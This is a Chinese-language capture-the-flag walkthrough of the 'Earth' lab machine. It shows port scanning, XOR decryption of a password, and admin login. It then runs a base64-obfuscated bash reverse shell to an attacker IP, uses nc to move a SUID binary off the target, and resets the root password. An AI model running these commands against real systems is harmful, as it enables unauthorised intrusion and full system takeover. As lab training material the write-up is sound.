BiAnco2025-01-09文章来源:SecHub网络安全社区
靶机地址:192.168.31.132
使用nmap扫描靶机开放的端口
nmap -A -p 1-65535 192.168.31.132
发现443端口存在DNS解析,在hosts文件中添加DNS解析
收集earth.local信息
发现Previous Messages
37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40
3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45
2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a
扫描earth.local目录
收集terratest.earth.local信息
扫描terratest.earth.local目录
发现robots文件,查看
发现有个testingnotes文件,尝试 fuzz 发现是 testingnotes.txt
文件内容的大致意思是采用 XOR,testdata.txt 内容是加密的密钥,terra 是用户名
According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.
CyberChef 解密,密码为重复的内容earthclimatechangebad4humans
在earth.local/admin/login登录,用户terra,密码earthclimatechangebad4humans
find命令查找flag
发现/var/earth_web/user_flag.txt路径下的flag文件,cat命令查看文件内容
构造反弹shell
echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjEzMC84ODg4IDA+JjEnCg== | base64 -d | bash
kali监听
nc -lvnp 8888
提权
find / -perm -u=s -type f 2>/dev/null
有一个 reset_root 文件,执行一下
报错,利用 nc 传输到 kali 本地进行分析
nc -lvp 8888 > reset_root
靶机命令
cat /usr/bin/reset_root | nc 192.168.31.130 8888
利用file查看文件属性
file reset_root
发现是Linux可执行文件
ltrace ./reset_root
发现这几个文件不存在,在靶机上手动创建这几个文件
再次执行reset_root
root用户的密码已被重置为Earth
取得root权限,查看flag